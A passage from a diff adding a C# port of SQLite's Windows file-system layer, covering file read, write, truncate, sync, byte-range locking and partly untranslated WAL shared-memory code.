!id.fs.CanRead ) + return SQLITE_IOERR_READ; + if ( seekWinFile( pFile, offset ) != 0 ) + { + return SQLITE_FULL; + } + + try + { + nRead = id.fs.Read( pBuf, 0, amt ); // i if( null==ReadFile(pFile->h, pBuf, amt, &nRead, 0) ){ + } + catch ( Exception e ) + { +#if !NO_SQLITE_SILVERLIGHT +pFile.lastErrno = 1; +#else + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + return winLogError(SQLITE_IOERR_READ, "winRead", pFile.zPath); + } + if ( nRead < amt ) + { + /* Unread parts of the buffer must be zero-filled */ + Array.Clear( pBuf, (int)nRead, (int)( amt - nRead ) ); // memset(&((char)pBuf)[nRead], 0, amt-nRead); + return SQLITE_IOERR_SHORT_READ; + } + return SQLITE_OK; + } + + /* + ** Write data from a buffer into a file. Return SQLITE_OK on success + ** or some other error code on failure. + */ + static int winWrite( + sqlite3_file id, /* File to write into */ + byte[] pBuf, /* The bytes to be written */ + int amt, /* Number of bytes to write */ + sqlite3_int64 offset /* Offset into the file to begin writing at */ + ) + { + int rc; /* True if error has occured, else false */ + sqlite3_file pFile = id; /* File handle */ + + Debug.Assert( amt > 0 ); + Debug.Assert( pFile != null ); + +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR_WRITE; + if ( SimulateDiskfullError() ) + return SQLITE_FULL; +#endif +#if SQLITE_DEBUG + OSTRACE( "WRITE %d lock=%d\n", id.fs.GetHashCode(), id.locktype ); +#endif + rc = seekWinFile( pFile, offset ); + //if( rc==0 ){ + // u8 *aRem = (u8 )pBuf; /* Data yet to be written */ + // int nRem = amt; /* Number of bytes yet to be written */ + // DWORD nWrite; /* Bytes written by each WriteFile() call */ + + // while( nRem>0 && WriteFile(pFile->h, aRem, nRem, &nWrite, 0) && nWrite>0 ){ + // aRem += nWrite; + // nRem -= nWrite; + // } + long wrote = id.fs.Position; + try + { + Debug.Assert( pBuf.Length >= amt ); + id.fs.Write( pBuf, 0, amt ); + rc = 1;// Success + wrote = id.fs.Position - wrote; + } + catch ( IOException e ) + { + return SQLITE_READONLY; + } + + if ( rc == 0 || amt > (int)wrote ) + { +#if !NO_SQLITE_SILVERLIGHT +id.lastErrno = 1; +#else + id.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + if (( id.lastErrno == ERROR_HANDLE_DISK_FULL ) + || ( id.lastErrno == ERROR_DISK_FULL )) + { + return SQLITE_FULL; + } + else + { + return winLogError(SQLITE_IOERR_WRITE, "winWrite", pFile.zPath); + } + } + return SQLITE_OK; + } + + /* + ** Truncate an open file to a specified size + */ + static int winTruncate( sqlite3_file id, sqlite3_int64 nByte ) + { + sqlite3_file pFile = id; /* File handle object */ + int rc = SQLITE_OK; /* Return code for this function */ + + Debug.Assert( pFile != null ); +#if SQLITE_DEBUG + OSTRACE( "TRUNCATE %d %lld\n", id.fs.Name, nByte ); +#endif +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR_TRUNCATE; + if ( SimulateIOError() ) + return SQLITE_IOERR_TRUNCATE; +#endif + + /* If the user has configured a chunk-size for this file, truncate the +** file so that it consists of an integer number of chunks (i.e. the +** actual file size after the operation may be larger than the requested +** size). +*/ + + if ( pFile.szChunk != 0 ) + { + nByte = ( ( nByte + pFile.szChunk - 1 ) / pFile.szChunk ) * pFile.szChunk; + } + + /* SetEndOfFile() returns non-zero when successful, or zero when it fails. */ + //if ( seekWinFile( pFile, nByte ) ) + //{ + // rc = winLogError(SQLITE_IOERR_TRUNCATE, "winTruncate1", pFile->zPath); + //} + //else if( 0==SetEndOfFile(pFile->h) ){ + // pFile->lastErrno = GetLastError(); + // rc = winLogError(SQLITE_IOERR_TRUNCATE, "winTruncate2", pFile->zPath); + //} + try + { + id.fs.SetLength( nByte ); + rc = SQLITE_OK; + } + catch ( IOException e ) + { +#if !NO_SQLITE_SILVERLIGHT +id.lastErrno = 1; +#else + id.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + rc = winLogError(SQLITE_IOERR_TRUNCATE, "winTruncate2", pFile.zPath); + } + OSTRACE( "TRUNCATE %d %lld %s\n", id.fs.GetHashCode(), nByte, rc == SQLITE_OK ? "ok" : "failed" ); + return rc; + } + +#if SQLITE_TEST + /* +** Count the number of fullsyncs and normal syncs. This is used to test +** that syncs and fullsyncs are occuring at the right times. +*/ +#if !TCLSH + static int sqlite3_sync_count = 0; + static int sqlite3_fullsync_count = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_sync_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_sync_count" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_fullsync_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_fullsync_count" ); +#endif +#endif + + /* +** Make sure all writes to a particular file are committed to disk. +*/ + static int winSync( sqlite3_file id, int flags ) + { +#if !(NDEBUG) || !(SQLITE_NO_SYNC) || (SQLITE_DEBUG) + sqlite3_file pFile = (sqlite3_file)id; + bool rc; +#else +UNUSED_PARAMETER(id); +#endif + Debug.Assert( pFile != null ); + /* Check that one of SQLITE_SYNC_NORMAL or FULL was passed */ + Debug.Assert( ( flags & 0x0F ) == SQLITE_SYNC_NORMAL + || ( flags & 0x0F ) == SQLITE_SYNC_FULL + ); + + OSTRACE( "SYNC %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); + + /* Unix cannot, but some systems may return SQLITE_FULL from here. This + ** line is to test that doing so does not cause any problems. + */ +#if SQLITE_TEST + if ( SimulateDiskfullError() ) + return SQLITE_FULL; +#endif +#if !SQLITE_TEST +UNUSED_PARAMETER(flags); +#else + if ( (flags&0x0F)==SQLITE_SYNC_FULL ) + { +#if !TCLSH + sqlite3_fullsync_count++; + } + sqlite3_sync_count++; +#else + sqlite3_fullsync_count.iValue++; + } + sqlite3_sync_count.iValue++; +#endif +#endif + + + /* If we compiled with the SQLITE_NO_SYNC flag, then syncing is a +** no-op +*/ +#if SQLITE_NO_SYNC +return SQLITE_OK; +#else + pFile.fs.Flush(); + return SQLITE_OK; + //rc = FlushFileBuffers(pFile->h); + //SimulateIOError( rc=FALSE ); + //if( rc ){ + // return SQLITE_OK; + //}else{ + // pFile->lastErrno = GetLastError(); + // return winLogError(SQLITE_IOERR_FSYNC, "winSync", pFile->zPath); + //} + +#endif + } + + /* + ** Determine the current size of a file in bytes + */ + static int winFileSize( sqlite3_file id, ref long pSize ) + { + //DWORD upperBits; + //DWORD lowerBits; + // sqlite3_file pFile = (sqlite3_file)id; + // DWORD error; + Debug.Assert( id != null ); +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR_FSTAT; +#endif + //lowerBits = GetFileSize(pFile.fs.Name, upperBits); + //if ( ( lowerBits == INVALID_FILE_SIZE ) + // && ( ( error = GetLastError() ) != NO_ERROR ) ) + //{ + // pFile.lastErrno = error; + // return winLogError(SQLITE_IOERR_FSTAT, "winFileSize", pFile->zPath); + //} + //pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits; + pSize = id.fs.CanRead ? id.fs.Length : 0; + return SQLITE_OK; + } + + + /* + ** Acquire a reader lock. + ** Different API routines are called depending on whether or not this + ** is Win95 or WinNT. + */ + static int getReadLock( sqlite3_file pFile ) + { + int res = 0; + if ( isNT() ) + { + res = lockingStrategy.SharedLockFile( pFile, SHARED_FIRST, SHARED_SIZE ); + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + //else + //{ + // int lk; + // sqlite3_randomness(lk.Length, lk); + // pFile.sharedLockByte = (u16)((lk & 0x7fffffff)%(SHARED_SIZE - 1)); + // res = pFile.fs.Lock( SHARED_FIRST + pFile.sharedLockByte, 0, 1, 0); +#endif + //} + if ( res == 0 ) + { +#if !NO_SQLITE_SILVERLIGHT +pFile.lastErrno = 1; +#else + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + } + /* No need to log a failure to lock */ + return res; + } + + /* + ** Undo a readlock + */ + static int unlockReadLock( sqlite3_file pFile ) + { + int res = 1; + if ( isNT() ) + { + try + { + lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // res = UnlockFile(pFile.h, SHARED_FIRST, 0, SHARED_SIZE, 0); + } + catch ( Exception e ) + { + res = 0; + } + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + else + { + Debugger.Break(); // res = UnlockFile(pFile.h, SHARED_FIRST + pFilE.sharedLockByte, 0, 1, 0); + } +#endif + if ( res == 0 ) + { +#if !NO_SQLITE_SILVERLIGHT +pFile.lastErrno = 1; +#else + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + winLogError(SQLITE_IOERR_UNLOCK, "unlockReadLock", pFile.zPath); + } + return res; + } + + /* + ** Lock the file with the lock specified by parameter locktype - one + ** of the following: + ** + ** (1) SHARED_LOCK + ** (2) RESERVED_LOCK + ** (3) PENDING_LOCK + ** (4) EXCLUSIVE_LOCK + ** + ** Sometimes when requesting one lock state, additional lock states + ** are inserted in between. The locking might fail on one of the later + ** transitions leaving the lock state different from what it started but + ** still short of its goal. The following chart shows the allowed + ** transitions and the inserted intermediate states: + ** + ** UNLOCKED . SHARED + ** SHARED . RESERVED + ** SHARED . (PENDING) . EXCLUSIVE + ** RESERVED . (PENDING) . EXCLUSIVE + ** PENDING . EXCLUSIVE + ** + ** This routine will only increase a lock. The winUnlock() routine + ** erases all locks at once and returns us immediately to locking level 0. + ** It is not possible to lower the locking level one step at a time. You + ** must go straight to locking level 0. + */ + static int winLock( sqlite3_file id, int locktype ) + { + int rc = SQLITE_OK; /* Return code from subroutines */ + int res = 1; /* Result of a windows lock call */ + int newLocktype; /* Set pFile.locktype to this value before exiting */ + bool gotPendingLock = false;/* True if we acquired a PENDING lock this time */ + sqlite3_file pFile = (sqlite3_file)id; + DWORD error = NO_ERROR; + + Debug.Assert( id != null ); +#if SQLITE_DEBUG + OSTRACE( "LOCK %d %d was %d(%d)\n", + pFile.fs.GetHashCode(), locktype, pFile.locktype, pFile.sharedLockByte ); +#endif + /* If there is already a lock of this type or more restrictive on the +** OsFile, do nothing. Don't use the end_lock: exit path, as +** sqlite3OsEnterMutex() hasn't been called yet. +*/ + if ( pFile.locktype >= locktype ) + { + return SQLITE_OK; + } + + /* Make sure the locking sequence is correct + */ + Debug.Assert( pFile.locktype != NO_LOCK || locktype == SHARED_LOCK ); + Debug.Assert( locktype != PENDING_LOCK ); + Debug.Assert( locktype != RESERVED_LOCK || pFile.locktype == SHARED_LOCK ); + + /* Lock the PENDING_LOCK byte if we need to acquire a PENDING lock or + ** a SHARED lock. If we are acquiring a SHARED lock, the acquisition of + ** the PENDING_LOCK byte is temporary. + */ + newLocktype = pFile.locktype; + if ( pFile.locktype == NO_LOCK + || ( ( locktype == EXCLUSIVE_LOCK ) + && ( pFile.locktype == RESERVED_LOCK ) ) + ) + { + int cnt = 3; + res = 0; + while ( cnt-- > 0 && res == 0 )//(res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), PENDING_BYTE, 0, 1, 0)) == 0) + { + try + { + lockingStrategy.LockFile( pFile, PENDING_BYTE, 1 ); + res = 1; + } + catch ( Exception e ) + { + /* Try 3 times to get the pending lock. The pending lock might be + ** held by another reader process who will release it momentarily. + */ +#if SQLITE_DEBUG + OSTRACE( "could not get a PENDING lock. cnt=%d\n", cnt ); +#endif + Thread.Sleep( 1 ); + } + } + gotPendingLock = ( res != 0 ); + if ( 0 == res ) + { +#if !NO_SQLITE_SILVERLIGHT +error = 1; +#else + error = (u32)Marshal.GetLastWin32Error(); +#endif + } + } + + /* Acquire a shared lock + */ + if ( locktype == SHARED_LOCK && res != 0 ) + { + Debug.Assert( pFile.locktype == NO_LOCK ); + res = getReadLock( pFile ); + if ( res != 0 ) + { + newLocktype = SHARED_LOCK; + } + else + { +#if !NO_SQLITE_SILVERLIGHT +error = 1; +#else + error = (u32)Marshal.GetLastWin32Error(); +#endif + } + } + + /* Acquire a RESERVED lock + */ + if ( ( locktype == RESERVED_LOCK ) && res != 0 ) + { + Debug.Assert( pFile.locktype == SHARED_LOCK ); + try + { + lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 );//res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), RESERVED_BYTE, 0, 1, 0); + newLocktype = RESERVED_LOCK; + res = 1; + } + catch ( Exception e ) + { + res = 0; +#if !NO_SQLITE_SILVERLIGHT +error = 1; +#else + error = (u32)Marshal.GetLastWin32Error(); +#endif + } + if ( res != 0 ) + { + newLocktype = RESERVED_LOCK; + } + else + { +#if !NO_SQLITE_SILVERLIGHT +error = 1; +#else + error = (u32)Marshal.GetLastWin32Error(); +#endif + } + } + + /* Acquire a PENDING lock + */ + if ( locktype == EXCLUSIVE_LOCK && res != 0 ) + { + newLocktype = PENDING_LOCK; + gotPendingLock = false; + } + + /* Acquire an EXCLUSIVE lock + */ + if ( locktype == EXCLUSIVE_LOCK && res != 0 ) + { + Debug.Assert( pFile.locktype >= SHARED_LOCK ); + res = unlockReadLock( pFile ); +#if SQLITE_DEBUG + OSTRACE( "unreadlock = %d\n", res ); +#endif + //res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), SHARED_FIRST, 0, SHARED_SIZE, 0); + try + { + lockingStrategy.LockFile( pFile, SHARED_FIRST, SHARED_SIZE ); + newLocktype = EXCLUSIVE_LOCK; + res = 1; + } + catch ( Exception e ) + { + res = 0; + } + if ( res != 0 ) + { + newLocktype = EXCLUSIVE_LOCK; + } + else + { +#if !NO_SQLITE_SILVERLIGHT +error = 1; +#else + error = (u32)Marshal.GetLastWin32Error(); +#endif +#if SQLITE_DEBUG + OSTRACE( "error-code = %d\n", error ); +#endif + getReadLock( pFile ); + } + } + + /* If we are holding a PENDING lock that ought to be released, then + ** release it now. + */ + if ( gotPendingLock && locktype == SHARED_LOCK ) + { + lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 ); + } + + /* Update the state of the lock has held in the file descriptor then + ** return the appropriate result code. + */ + if ( res != 0 ) + { + rc = SQLITE_OK; + } + else + { +#if SQLITE_DEBUG + OSTRACE( "LOCK FAILED %d trying for %d but got %d\n", pFile.fs.GetHashCode(), + locktype, newLocktype ); +#endif + pFile.lastErrno = error; + rc = SQLITE_BUSY; + } + pFile.locktype = (u8)newLocktype; + return rc; + } + + /* + ** This routine checks if there is a RESERVED lock held on the specified + ** file by this or any other process. If such a lock is held, return + ** non-zero, otherwise zero. + */ + static int winCheckReservedLock( sqlite3_file id, ref int pResOut ) + { + int rc; + sqlite3_file pFile = (sqlite3_file)id; + + if ( SimulateIOError() ) + return SQLITE_IOERR_CHECKRESERVEDLOCK; + + Debug.Assert( id != null ); + if ( pFile.locktype >= RESERVED_LOCK ) + { + rc = 1; +#if SQLITE_DEBUG + OSTRACE( "TEST WR-LOCK %d %d (local)\n", pFile.fs.Name, rc ); +#endif + } + else + { + try + { + lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 ); + lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 ); + rc = 1; + } + catch ( IOException e ) + { + rc = 0; + } + rc = 1 - rc; // !rc +#if SQLITE_DEBUG + OSTRACE( "TEST WR-LOCK %d %d (remote)\n", pFile.fs.GetHashCode(), rc ); +#endif + } + pResOut = rc; + return SQLITE_OK; + } + + /* + ** Lower the locking level on file descriptor id to locktype. locktype + ** must be either NO_LOCK or SHARED_LOCK. + ** + ** If the locking level of the file descriptor is already at or below + ** the requested locking level, this routine is a no-op. + ** + ** It is not possible for this routine to fail if the second argument + ** is NO_LOCK. If the second argument is SHARED_LOCK then this routine + ** might return SQLITE_IOERR; + */ + static int winUnlock( sqlite3_file id, int locktype ) + { + int type; + sqlite3_file pFile = (sqlite3_file)id; + int rc = SQLITE_OK; + Debug.Assert( pFile != null ); + Debug.Assert( locktype <= SHARED_LOCK ); + +#if SQLITE_DEBUG + OSTRACE( "UNLOCK %d to %d was %d(%d)\n", pFile.fs.GetHashCode(), locktype, + pFile.locktype, pFile.sharedLockByte ); +#endif + type = pFile.locktype; + if ( type >= EXCLUSIVE_LOCK ) + { + lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // UnlockFile(pFile.h, SHARED_FIRST, 0, SHARED_SIZE, 0); + if ( locktype == SHARED_LOCK && getReadLock( pFile ) == 0 ) + { + /* This should never happen. We should always be able to + ** reacquire the read lock */ + rc = winLogError(SQLITE_IOERR_UNLOCK, "winUnlock", pFile.zPath); + } + } + if ( type >= RESERVED_LOCK ) + { + try + { + lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 );// UnlockFile(pFile.h, RESERVED_BYTE, 0, 1, 0); + } + catch ( Exception e ) + { + } + } + if ( locktype == NO_LOCK && type >= SHARED_LOCK ) + { + unlockReadLock( pFile ); + } + if ( type >= PENDING_LOCK ) + { + try + { + lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 );// UnlockFile(pFile.h, PENDING_BYTE, 0, 1, 0); + } + catch ( Exception e ) + { + } + } + pFile.locktype = (u8)locktype; + return rc; + } + + /* + ** Control and query of the open file handle. + */ + static int winFileControl( sqlite3_file id, int op, ref sqlite3_int64 pArg ) + { + switch ( op ) + { + case SQLITE_FCNTL_LOCKSTATE: + { + pArg = (int)( (sqlite3_file)id ).locktype; + return SQLITE_OK; + } + case SQLITE_LAST_ERRNO: + { + pArg = (int)( (sqlite3_file)id ).lastErrno; + return SQLITE_OK; + } + case SQLITE_FCNTL_CHUNK_SIZE: + { + ( (sqlite3_file)id ).szChunk = (int)pArg; + return SQLITE_OK; + } + case SQLITE_FCNTL_SIZE_HINT: + { + sqlite3_int64 sz = (sqlite3_int64)pArg; + SimulateIOErrorBenign( 1 ); + winTruncate( id, sz ); + SimulateIOErrorBenign( 0 ); + return SQLITE_OK; + } + case SQLITE_FCNTL_SYNC_OMITTED: + { + return SQLITE_OK; + } + } + return SQLITE_NOTFOUND; + } + + /* + ** Return the sector size in bytes of the underlying block device for + ** the specified file. This is almost always 512 bytes, but may be + ** larger for some devices. + ** + ** SQLite code assumes this function cannot fail. It also assumes that + ** if two files are created in the same file-system directory (i.e. + ** a database and its journal file) that the sector size will be the + ** same for both. + */ + static int winSectorSize( sqlite3_file id ) + { + Debug.Assert( id != null ); + return (int)( id.sectorSize ); + } + + /* + ** Return a vector of device characteristics. + */ + static int winDeviceCharacteristics( sqlite3_file id ) + { + UNUSED_PARAMETER( id ); + return 0; + } + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL + + +/* +** Windows will only let you create file view mappings +** on allocation size granularity boundaries. +** During sqlite3_os_init() we do a GetSystemInfo() +** to get the granularity size. +*/ +SYSTEM_INFO winSysInfo; + +/* +** Helper functions to obtain and relinquish the global mutex. The +** global mutex is used to protect the winLockInfo objects used by +** this file, all of which may be shared by multiple threads. +** +** Function winShmMutexHeld() is used to Debug.Assert() that the global mutex +** is held when required. This function is only used as part of Debug.Assert() +** statements. e.g. +** +** winShmEnterMutex() +** Debug.Assert( winShmMutexHeld() ); +** winShmLeaveMutex() +*/ +static void winShmEnterMutex(void){ + sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +} +static void winShmLeaveMutex(void){ + sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +} +#if SQLITE_DEBUG +static int winShmMutexHeld(void) { + return sqlite3_mutex_held(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +} +#endif + +/* +** Object used to represent a single file opened and mmapped to provide +** shared memory. When multiple threads all reference the same +** log-summary, each thread has its own winFile object, but they all +** point to a single instance of this object. In other words, each +** log-summary is opened only once per process. +** +** winShmMutexHeld() must be true when creating or destroying +** this object or while reading or writing the following fields: +** +** nRef +** pNext +** +** The following fields are read-only after the object is created: +** +** fid +** zFilename +** +** Either winShmNode.mutex must be held or winShmNode.nRef==0 and +** winShmMutexHeld() is true when reading or writing any other field +** in this structure. +** +*/ +struct winShmNode { + sqlite3_mutex *mutex; /* Mutex to access this object */ + string zFilename; /* Name of the file */ + winFile hFile; /* File handle from winOpen */ + + int szRegion; /* Size of shared-memory regions */ + int nRegion; /* Size of array apRegion */ + struct ShmRegion { + HANDLE hMap; /* File handle from CreateFileMapping */ + void *pMap; + } *aRegion; + DWORD lastErrno; /* The Windows errno from the last I/O error */ + + int nRef; /* Number of winShm objects pointing to this */ + winShm *pFirst; /* All winShm objects pointing to this */ + winShmNode *pNext; /* Next in list of all winShmNode objects */ +#if SQLITE_DEBUG + u8 nextShmId; /* Next available winShm.id value */ +#endif +}; + +/* +** A global array of all winShmNode objects. +** +** The winShmMutexHeld() must be true while reading or writing this list. +*/ +static winShmNode *winShmNodeList = 0; + +/* +** Structure used internally by this VFS to record the state of an +** open shared memory connection. +** +** The following fields are initialized when this object is created and +** are read-only thereafter: +** +** winShm.pShmNode +** winShm.id +** +** All other fields are read/write. The winShm.pShmNode->mutex must be held +** while accessing any read/write fields. +*/ +struct winShm { + winShmNode *pShmNode; /* The underlying winShmNode object */ + winShm *pNext; /* Next winShm with the same winShmNode */ + u8 hasMutex; /* True if holding the winShmNode mutex */ + u16 sharedMask; /* Mask of shared locks held */ + u16 exclMask; /* Mask of exclusive locks held */ +#if SQLITE_DEBUG + u8 id; /* Id of this connection with its winShmNode */ +#endif +}; + +/* +** Constants used for locking +*/ +//#define WIN_SHM_BASE ((22+SQLITE_SHM_NLOCK)*4) /* first lock byte */ +//#define WIN_SHM_DMS (WIN_SHM_BASE+SQLITE_SHM_NLOCK) /* deadman switch */ + +/* +** Apply advisory locks for all n bytes beginning at ofst. +*/ +//#define _SHM_UNLCK 1 +//#define _SHM_RDLCK 2 +//#define _SHM_WRLCK 3 +static int winShmSystemLock( + winShmNode *pFile, /* Apply locks to this open shared-memory segment */ + int lockType, /* _SHM_UNLCK, _SHM_RDLCK, or _SHM_WRLCK */ + int ofst, /* Offset to first byte to be locked/unlocked */ + int nByte /* Number of bytes to lock or unlock */ +){ + OVERLAPPED ovlp; + DWORD dwFlags; + int rc = 0; /* Result code form Lock/UnlockFileEx() */ + + /* Access to the winShmNode object is serialized by the caller */ + Debug.Assert( sqlite3_mutex_held(pFile->mutex) || pFile->nRef==0 ); + + /* Initialize the locking parameters */ + dwFlags = LOCKFILE_FAIL_IMMEDIATELY; + if( lockType == _SHM_WRLCK ) dwFlags |= LOCKFILE_EXCLUSIVE_LOCK; + + memset(&ovlp, 0, sizeof(OVERLAPPED)); + ovlp.Offset = ofst; + + /* Release/Acquire the system-level lock */ + if( lockType==_SHM_UNLCK ){ + rc = UnlockFileEx(pFile->hFile.h, 0, nByte, 0, &ovlp); + }else{ + rc = LockFileEx(pFile->hFile.h, dwFlags, 0, nByte, 0, &ovlp); + } + + if( rc!= 0 ){ + rc = SQLITE_OK; + }else{ + pFile->lastErrno = GetLastError(); + rc = SQLITE_BUSY; + } + + OSTRACE(("SHM-LOCK %d %s %s 0x%08lx\n", + pFile->hFile.h, + rc==SQLITE_OK ? "ok" : "failed", + lockType==_SHM_UNLCK ? "UnlockFileEx" : "LockFileEx", + pFile->lastErrno)); + + return rc; +} + +/* Forward references to VFS methods */ +static int winOpen(sqlite3_vfs*,const char*,sqlite3_file*,int,int); +static int winDelete(sqlite3_vfs *,const char*,int); + +/* +** Purge the winShmNodeList list of all entries with winShmNode.nRef==0. +** +** This is not a VFS shared-memory method; it is a utility function called +** by VFS shared-memory methods. +*/ +static void winShmPurge(sqlite3_vfs *pVfs, int deleteFlag){ + winShmNode **pp; + winShmNode *p; + BOOL bRc; + Debug.Assert( winShmMutexHeld() ); + pp = winShmNodeList; + while( (p = *pp)!=0 ){ + if( p->nRef==0 ){ + int i; + if( p->mutex ) sqlite3_mutex_free(p->mutex); + for(i=0; inRegion; i++){ + bRc = UnmapViewOfFile(p->aRegion[i].pMap); + OSTRACE(("SHM-PURGE pid-%d unmap region=%d %s\n", + (int)GetCurrentProcessId(), i, + bRc ? "ok" : "failed")); + bRc = CloseHandle(p->aRegion[i].hMap); + OSTRACE(("SHM-PURGE pid-%d close region=%d %s\n", + (int)GetCurrentProcessId(), i, + bRc ? "ok" : "failed")); + } + if( p->hFile.h != INVALID_HANDLE_VALUE ){ + SimulateIOErrorBenign(1); + winClose((sqlite3_file )&p->hFile); + SimulateIOErrorBenign(0); + } + if( deleteFlag ){ + SimulateIOErrorBenign(1); + winDelete(pVfs, p->zFilename, 0); + SimulateIOErrorBenign(0); + } + *pp = p->pNext; + sqlite3_free(p->aRegion); + sqlite3_free(p); + }else{ + pp = p->pNext; + } + } +} + +/* +** Open the shared-memory area associated with database file pDbFd. +** +** When opening a new shared-memory file, if no other instances of that +** file are currently open, in this process or in other processes, then +** the file must be truncated to zero length or have its header cleared. +*/ +static int winOpenSharedMemory(winFile *pDbFd){ + struct winShm *p; /* The connection to be opened */ + struct winShmNode *pShmNode = 0; /* The underlying mmapped file */ + int rc; /* Result code */ + struct winShmNode *pNew; /* Newly allocated winShmNode */ + int nName; /* Size of zName in bytes */ + + Debug.Assert( pDbFd->pShm==null ); /* Not previously opened */ + + /* Allocate space for the new sqlite3_shm object. Also speculatively + ** allocate space for a new winShmNode and filename. + */ + p = sqlite3_malloc( sizeof(*p) ); + if( p==0 ) return SQLITE_NOMEM; + memset(p, 0, sizeof(*p)); + nName = sqlite3Strlen30(pDbFd->zPath); + pNew = sqlite3_malloc( sizeof(*pShmNode) + nName + 15 ); + if( pNew==0 ){ + sqlite3_free(p); + return SQLITE_NOMEM; + } + memset(pNew, 0, sizeof(*pNew)); + pNew->zFilename = (char)&pNew[1]; + sqlite3_snprintf(nName+15, pNew->zFilename, "%s-shm", pDbFd->zPath); + sqlite3FileSuffix3(pDbFd->zPath, pNew->zFilename); + + /* Look to see if there is an existing winShmNode that can be used. + ** If no matching winShmNode currently exists, create a new one. + */ + winShmEnterMutex(); + for(pShmNode = winShmNodeList; pShmNode; pShmNode=pShmNode->pNext){ + /* TBD need to come up with better match here. Perhaps + ** use FILE_ID_BOTH_DIR_INFO Structure. + */ + if( sqlite3StrICmp(pShmNode->zFilename, pNew->zFilename)==0 ) break; + } + if( pShmNode ){ + sqlite3_free(pNew); + }else{ + pShmNode = pNew; + pNew = 0; + ((winFile)(&pShmNode->hFile))->h = INVALID_HANDLE_VALUE; + pShmNode->pNext = winShmNodeList; + winShmNodeList = pShmNode; + + pShmNode->mutex = sqlite3_mutex_alloc(SQLITE_MUTEX_FAST); + if( pShmNode->mutex==0 ){ + rc = SQLITE_NOMEM; + goto shm_open_err; + } + + rc = winOpen(pDbFd->pVfs, + pShmNode->zFilename, /* Name of the file (UTF-8) */ + (sqlite3_file)&pShmNode->hFile, /* File handle here */ + SQLITE_OPEN_WAL | SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, /* Mode flags */ + 0); + if( SQLITE_OK!=rc ){ + rc = SQLITE_CANTOPEN_BKPT; + goto shm_open_err; + } + + /* Check to see if another process is holding the dead-man switch. + ** If not, truncate the file to zero length. + */ + if( winShmSystemLock(pShmNode, _SHM_WRLCK, WIN_SHM_DMS, 1)==SQLITE_OK ){ + rc = winTruncate((sqlite3_file )&pShmNode->hFile, 0); + if( rc!=SQLITE_OK ){ + rc = winLogError(SQLITE_IOERR_SHMOPEN, "winOpenShm", pDbFd->zPath); + } + } + if( rc==SQLITE_OK ){ + winShmSystemLock(pShmNode, _SHM_UNLCK, WIN_SHM_DMS, 1); + rc = winShmSystemLock(pShmNode, _SHM_RDLCK, WIN_SHM_DMS, 1); + } + if( rc ) goto shm_open_err; + } + + /* Make the new connection a child of the winShmNode */ + p->pShmNode = pShmNode; +#if SQLITE_DEBUG + p->id = pShmNode->nextShmId++; +#endif + pShmNode->nRef++; + pDbFd->pShm = p; + winShmLeaveMutex(); + + /* The reference count on pShmNode has already been incremented under + ** the cover of the winShmEnterMutex() mutex and the pointer from the + ** new (struct winShm) object to the pShmNode has been set. All that is + ** left to do is to link the new object into the linked list starting + ** at pShmNode->pFirst. This must be done while holding the pShmNode->mutex + ** mutex. + */ + sqlite3_mutex_enter(pShmNode->mutex); + p->pNext = pShmNode->pFirst; + pShmNode->pFirst = p; + sqlite3_mutex_leave(pShmNode->mutex); + return SQLITE_OK; + + /* Jump here on any error */ +shm_open_err: + winShmSystemLock(pShmNode, _SHM_UNLCK, WIN_SHM_DMS, 1); + winShmPurge(pDbFd->pVfs, 0); /* This call frees pShmNode if required */ + sqlite3_free(p); + sqlite3_free(pNew); + winShmLeaveMutex(); + return rc; +} + +/* +** Close a connection to shared-memory. Delete the underlying +** storage if deleteFlag is true. +*/ +static int winShmUnmap( + sqlite3_file *fd, /* Database holding shared memory */ + int deleteFlag /* Delete after closing if true */ +){ + winFile *pDbFd; /* Database holding shared-memory */ + winShm *p; /* The connection to be closed */ + winShmNode *pShmNode; /* The underlying shared-memory file */ + winShm **pp; /* For looping over sibling connections */ + + pDbFd = (winFile)fd; + p = pDbFd->pShm; + if( p==0 ) return SQLITE_OK; + pShmNode = p->pShmNode; + + /* Remove connection p from the set of connections associated + ** with pShmNode */ + sqlite3_mutex_enter(pShmNode->mutex); + for(pp=&pShmNode->pFirst; (*pp)!=p; pp = (*pp)->pNext){} + *pp = p->pNext; + + /* Free the connection p */ + sqlite3_free(p); + pDbFd->pShm = 0; + sqlite3_mutex_leave(pShmNode->mutex); + + /* If pShmNode->nRef has reached 0, then close the underlying + ** shared-memory file, too */ + winShmEnterMutex(); + Debug.Assert( pShmNode->nRef>0 ); + 